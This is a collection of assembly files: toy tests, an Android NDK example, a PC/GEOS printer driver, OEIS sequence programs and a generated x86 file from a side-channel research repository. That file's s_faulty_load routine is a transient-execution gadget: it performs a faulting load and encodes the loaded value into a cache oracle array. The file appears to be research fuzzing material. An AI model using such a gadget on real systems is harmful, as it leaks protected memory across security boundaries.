bd170482c7ad04f757ea8e7305a839b102dbf380 | 37 | asm | Assembly | asm/test.asm | Shmizmin/CPU-Explorer | 6be736fe08aa32d38ed8dc4c6729838afac9c57d | [
"MIT"
] | null | null | null | asm/test.asm | Shmizmin/CPU-Explorer | 6be736fe08aa32d38ed8dc4c6729838afac9c57d | [
"MIT"
] | null | null | null | asm/test.asm | Shmizmin/CPU-Explorer | 6be736fe08aa32d38ed8dc4c6729838afac9c57d | [
"MIT"
] | null | null | null | test:
mov r0, r1
hello:
xor r0, r0
| 7.4 | 11 | 0.621622 |
5d7a12e7ce60205ac3220fd43ffcbf48f8f566b3 | 243 | asm | Assembly | android-ndk-r10b/tests/device/test-yasm/jni/print_hello.asm | perezite/Boost4Android | 9ed03a45815aead156c129da1927cc04b8caa6a3 | [
"BSL-1.0"
] | 1 | 2019-07-10T15:21:02.000Z | 2019-07-10T15:21:02.000Z | android-ndk-r10b/tests/device/test-yasm/jni/print_hello.asm | perezite/Boost4Android | 9ed03a45815aead156c129da1927cc04b8caa6a3 | [
"BSL-1.0"
] | null | null | null | android-ndk-r10b/tests/device/test-yasm/jni/print_hello.asm | perezite/Boost4Android | 9ed03a45815aead156c129da1927cc04b8caa6a3 | [
"BSL-1.0"
] | 1 | 2019-02-25T11:55:44.000Z | 2019-02-25T11:55:44.000Z | section .rodata
fmt db "Hello, %s!", 10, 0
section .text
global print_hello
extern printf
print_hello:
sub esp, 28
mov eax, [esp+32]
mov [esp], dword fmt
mov [esp+4], eax
call printf
add esp, 28
ret
| 15.1875 | 28 | 0.584362 |
29d623cda53c187ad4e8c9ae53eefdde35b1420f | 3,670 | asm | Assembly | Driver/Printer/DotMatrix/Bchip9/bchip9Manager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Printer/DotMatrix/Bchip9/bchip9Manager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Printer/DotMatrix/Bchip9/bchip9Manager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Bluechip 9-pin printer driver
FILE: bchip9Manager.asm
AUTHOR: Jim DeFrisco, 26 Feb 1990
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 2/90 initial version
Dave 3/90 added 9-pin print resources.
Dave 5/92 Initial 2.0 version
DESCRIPTION:
This file contains the source for the bchip 9-pin printer driver
$Id: bchip9Manager.asm,v 1.1 97/04/18 11:53:36 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
;--------------------------------------
; Include files
;--------------------------------------
include printcomInclude.def
;------------------------------------------------------------------------------
; Constants and Macros
;------------------------------------------------------------------------------
include printcomConstant.def
include bchip9Constant.def
include printcomMacro.def
include printcomEpsonMX.rdef
;------------------------------------------------------------------------------
; Driver Info Table
;------------------------------------------------------------------------------
idata segment ; MODULE_FIXED
DriverTable DriverExtendedInfoStruct \
< <Entry:DriverStrategy,
mask DA_HAS_EXTENDED_INFO,
DRIVER_TYPE_PRINTER >,
handle DriverInfo
>
public DriverTable
idata ends
;------------------------------------------------------------------------------
; Entry Code
;------------------------------------------------------------------------------
Entry segment resource ; MODULE_FIXED
include printcomEntry.asm ; entry point, misc bookeeping routines
include printcomTables.asm ; jump table for some driver calls
include printcomInfo.asm ; various info getting/setting routines
include printcomAdmin.asm ; misc init routines
include printcomNoEscapes.asm ; module jump table for driver escape calls
Entry ends
;------------------------------------------------------------------------------
; Driver code
;------------------------------------------------------------------------------
CommonCode segment resource ; MODULE_STANDARD
include printcomEpsonJob.asm ; StartJob/EndJob/SetPaperpath routines
include printcomCountryDialog.asm ; code to implement UI setting
include printcomDotMatrixPage.asm ; code to implement Page routines
include printcomEpsonMXCursor.asm ; code to implement 9-pin Cursor routines
include printcomEpsonStyles.asm ; code to implement Style setting routines
include printcomStream.asm ; code to talk with the stream driver
include printcomDotMatrixBuffer.asm ; code to deal with graphic print buffers
include printcomNoColor.asm ; code to implement Color routines
include printcomEpsonMXGraphics.asm ; code to implement MX graphics routines
include bchip9ControlCodes.asm ; Tables of printer commands
include bchip9Text.asm ; common code to implement text routines
CommonCode ends
;------------------------------------------------------------------------------
; Device Info Resources (each in their own resource)
;------------------------------------------------------------------------------
include bchip9DriverInfo.asm ; overall driver info
include bchip9generInfo.asm ; specific info for generic printer
include bchip9generwInfo.asm ; specific info for generic wide printer
include Color/Correct/correctGamma20.asm ; gamma correction table
end
| 34.622642 | 80 | 0.535695 |
c9b06908aefae529a0b6d3efc636705b84ae8469 | 479 | asm | Assembly | programs/oeis/346/A346878.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | null | null | null | programs/oeis/346/A346878.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | null | null | null | programs/oeis/346/A346878.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | null | null | null | ; A346878: Sum of the divisors, except the largest, of the n-th positive even number.
; 1,3,6,7,8,16,10,15,21,22,14,36,16,28,42,31,20,55,22,50,54,40,26,76,43,46,66,64,32,108,34,63,78,58,74,123,40,64,90,106,44,140,46,92,144,76,50,156,73,117,114,106,56,172,106,136,126,94,62,240,64,100,186,127
add $0,1
mov $1,4
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
add $1,$3
add $2,1
lpe
mov $0,$1
sub $0,3
| 21.772727 | 205 | 0.609603 |
a004e9fdbaf553baac254d65ca4c4a3ba3ba4d8f | 1,813 | asm | Assembly | programs/oeis/028/A028860.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/028/A028860.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/028/A028860.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A028860: a(n+2) = 2*a(n+1) + 2*a(n); a(0) = -1, a(1) = 1.
; -1,1,0,2,4,12,32,88,240,656,1792,4896,13376,36544,99840,272768,745216,2035968,5562368,15196672,41518080,113429504,309895168,846649344,2313089024,6319476736,17265131520,47169216512,128868696064,352075825152,961889042432,2627929735168,7179637555200,19615134580736,53589544271872,146409357705216,399997803954176,1092814323318784,2985624254545920,8156877155729408,22285002820550656,60883759952560128,166337525546221568,454442570997563392,1241560193087569920,3392005528170266624,9267131442515673088,25318273941371879424,69170810767775105024,188978169418293968896,516297960372138147840,1410552259580864233472,3853700439906004762624,10528505398973737992192,28764411677759485509632,78585834153466447003648,214700491662451865026560,586572651631836624060416,1602546286588576978173952,4378237876440827204468736,11961568326058808365285376,32679612404999271139508224,89282361462116159009587200,243923947734230860298190848,666412618392694038615556096,1820673132253849797827493888,4974171501293087672886099968,13589689267093874941427187712,37127721536773925228626575360,101434821607735600340107526144,277125086289019051137468203008,757119815793509302955151458304,2068489804165056708185239322624,5651219239917132022280781561856,15439418088164377460932041768960,42181274656163018966425646661632,115241385488654792854715376861184,314845320289635623642282047045632,860173411556580832993994847813632,2350037463692432913272553789718528,6420421750498027492533097275064320,17540918428380920811611302129565696,47922680357757896608288798809260032,130927197572277634839800201877651456,357699755860071062896178001373822976,977253906864697395471956406502948864
mov $2,-8
mov $3,8
lpb $0
sub $0,1
mov $1,$3
add $3,$2
mov $2,$1
mul $3,2
lpe
mul $2,2
add $0,$2
div $0,16
| 113.3125 | 1,634 | 0.897408 |
1561719b7c3c50df77260415ba0e18f9d0865c6f | 350 | asm | Assembly | programs/oeis/111/A111958.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/111/A111958.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/111/A111958.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A111958: Lucas numbers (A000032) mod 8.
; 2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4,7,3,2,5,7,4,3,7,2,1,3,4
mod $0,12
seq $0,32 ; Lucas numbers beginning at 2: L(n) = L(n-1) + L(n-2), L(0) = 2, L(1) = 1.
mod $0,8
| 50 | 201 | 0.528571 |
3b078181db24b51ef214f462dca7a21bf5c915d8 | 354 | asm | Assembly | programs/oeis/109/A109340.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/109/A109340.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/109/A109340.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A109340: Expansion of x^2*(1+x+4*x^2)/((1+x+x^2)*(1-x)^3).
; 0,0,1,3,9,16,24,36,49,63,81,100,120,144,169,195,225,256,288,324,361,399,441,484,528,576,625,675,729,784,840,900,961,1023,1089,1156,1224,1296,1369,1443,1521,1600,1680,1764,1849,1935,2025,2116,2208,2304,2401
mov $1,$0
pow $0,2
mul $1,2
lpb $1
sub $0,$1
add $0,1
sub $1,1
mod $1,3
lpe
| 27.230769 | 207 | 0.646893 |
20dd3af6bfde0e3061bdb574c23d4eb84433063c | 465 | asm | Assembly | oeis/338/A338720.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/338/A338720.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/338/A338720.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A338720: Define b(1)=1 and for n>1, b(n)=n/b(n-1); then a(n) = nearest integer to b(n).
; Submitted by Jon Maiga
; 1,2,2,3,2,3,2,4,2,4,3,4,3,5,3,5,3,5,4,6,4,6,4,6,4,6,4,7,4,7,4,7,5,7,5,8,5,8,5,8,5,8,5,8,5,9,5,9,6,9,6,9,6,9,6,9,6,10,6,10,6,10,6,10,6,10,7,10,7,11,7,11,7,11,7,11,7,11,7,11,7,11,7,12,7,12,7
add $0,1
mov $1,1
mov $2,1
lpb $0
mul $1,$0
add $3,$0
sub $0,2
add $1,$2
sub $3,1
mul $2,$3
trn $3,$1
lpe
div $1,$2
div $1,2
mov $0,$1
add $0,1
| 22.142857 | 190 | 0.541935 |
9d3617253afff3125a46555eee97a0973eda33d3 | 778 | asm | Assembly | programs/oeis/172/A172076.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/172/A172076.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/172/A172076.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A172076: a(n) = n*(n+1)*(14*n-11)/6.
; 0,1,17,62,150,295,511,812,1212,1725,2365,3146,4082,5187,6475,7960,9656,11577,13737,16150,18830,21791,25047,28612,32500,36725,41301,46242,51562,57275,63395,69936,76912,84337,92225,100590,109446,118807,128687,139100,150060,161581,173677,186362,199650,213555,228091,243272,259112,275625,292825,310726,329342,348687,368775,389620,411236,433637,456837,480850,505690,531371,557907,585312,613600,642785,672881,703902,735862,768775,802655,837516,873372,910237,948125,987050,1027026,1068067,1110187,1153400,1197720,1243161,1289737,1337462,1386350,1436415,1487671,1540132,1593812,1648725,1704885,1762306,1821002,1880987,1942275,2004880,2068816,2134097,2200737,2268750
mov $2,$0
lpb $0
sub $0,1
add $3,$2
add $1,$3
add $2,11
lpe
mov $0,$1
| 64.833333 | 659 | 0.789203 |
4b64c122aee554dab7db8d25e382a7a70fa2785a | 8,874 | asm | Assembly | Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48_notsx.log_21829_1949.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48_notsx.log_21829_1949.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48_notsx.log_21829_1949.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1e050, %rsi
lea addresses_D_ht+0x1b850, %rdi
nop
nop
nop
nop
and $35431, %rbp
mov $49, %rcx
rep movsl
nop
nop
xor %rcx, %rcx
lea addresses_A_ht+0x89d0, %rsi
lea addresses_UC_ht+0xd650, %rdi
clflush (%rsi)
nop
nop
nop
dec %r11
mov $74, %rcx
rep movsq
sub $23654, %rcx
lea addresses_A_ht+0x50, %r12
nop
nop
cmp $33880, %r15
mov (%r12), %cx
nop
nop
and %r15, %r15
lea addresses_UC_ht+0x1ec50, %rsi
nop
nop
nop
nop
add %r12, %r12
movl $0x61626364, (%rsi)
nop
sub $55014, %r12
lea addresses_normal_ht+0x11050, %rsi
lea addresses_WC_ht+0x3a50, %rdi
nop
nop
nop
add %rbp, %rbp
mov $101, %rcx
rep movsq
nop
nop
nop
nop
dec %rbp
lea addresses_normal_ht+0xf7e4, %rbp
nop
sub %r15, %r15
movups (%rbp), %xmm7
vpextrq $1, %xmm7, %r12
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x6450, %rsi
lea addresses_WC_ht+0xee32, %rdi
nop
nop
nop
add %r8, %r8
mov $12, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x162ba, %rsi
lea addresses_A_ht+0xe040, %rdi
dec %r12
mov $99, %rcx
rep movsl
nop
and $50680, %r12
lea addresses_D_ht+0x9450, %rsi
lea addresses_D_ht+0x8050, %rdi
nop
nop
add $30894, %r12
mov $68, %rcx
rep movsq
nop
nop
add %rsi, %rsi
lea addresses_WT_ht+0x7850, %rsi
lea addresses_A_ht+0x12e50, %rdi
nop
add $10804, %rbp
mov $122, %rcx
rep movsl
add $28154, %r8
lea addresses_WT_ht+0x236, %r15
nop
nop
nop
nop
cmp $29836, %r8
and $0xffffffffffffffc0, %r15
movntdqa (%r15), %xmm6
vpextrq $0, %xmm6, %r11
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0x1a90, %rsi
lea addresses_UC_ht+0x9038, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $60, %rcx
rep movsw
nop
nop
nop
nop
nop
and %r12, %r12
lea addresses_D_ht+0x13594, %r8
clflush (%r8)
nop
nop
nop
and %rsi, %rsi
movw $0x6162, (%r8)
nop
and $12598, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_WC+0x18450, %r14
nop
nop
nop
nop
nop
add $38447, %rsi
movups (%r14), %xmm4
vpextrq $0, %xmm4, %rdx
nop
nop
nop
cmp $25591, %r14
// Store
lea addresses_A+0x1e390, %r13
nop
nop
nop
and %r8, %r8
mov $0x5152535455565758, %rdx
movq %rdx, (%r13)
nop
nop
sub %rax, %rax
// REPMOV
lea addresses_normal+0x62c, %rsi
lea addresses_WT+0xb050, %rdi
cmp %r8, %r8
mov $68, %rcx
rep movsq
nop
nop
nop
nop
add %r14, %r14
// Store
lea addresses_A+0x17210, %r14
clflush (%r14)
nop
nop
xor %rsi, %rsi
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r14)
nop
nop
xor $36041, %r8
// Store
lea addresses_A+0x2b8, %rdi
nop
nop
nop
sub $21954, %r8
mov $0x5152535455565758, %r13
movq %r13, %xmm7
movups %xmm7, (%rdi)
and $28463, %r13
// Faulty Load
lea addresses_WT+0xb050, %r14
clflush (%r14)
nop
nop
nop
xor $57242, %r8
movups (%r14), %xmm6
vpextrq $0, %xmm6, %rax
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 2}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WT'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 3}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 31.246479 | 2,999 | 0.656863 |
f9dda05745901f552efe1af9ffde73e560dc7453 | 246 | asm | Assembly | programs/oeis/007/A007877.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/007/A007877.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/007/A007877.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A007877: Period 4 zigzag sequence: repeat [0,1,2,1].
; 0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0
gcd $0,4
mod $0,4
| 41 | 171 | 0.54065 |
942c903ae1e7810ce6f92685170d17082d4a1647 | 349 | asm | Assembly | programs/oeis/040/A040329.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/040/A040329.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/040/A040329.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A040329: Continued fraction for sqrt(348).
; 18,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1,36,1,1,1,8,1,1,1
mov $1,$0
gcd $0,8
mov $3,10
lpb $1
add $0,6
mov $1,0
mov $3,$2
add $3,7
lpe
mul $0,$3
trn $0,63
add $0,1
| 21.8125 | 188 | 0.550143 |
e8a6741aeea221a85b6c797846871c8a788585aa | 445 | asm | Assembly | programs/oeis/036/A036153.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/036/A036153.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/036/A036153.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A036153: a(n) = 2^n mod 179.
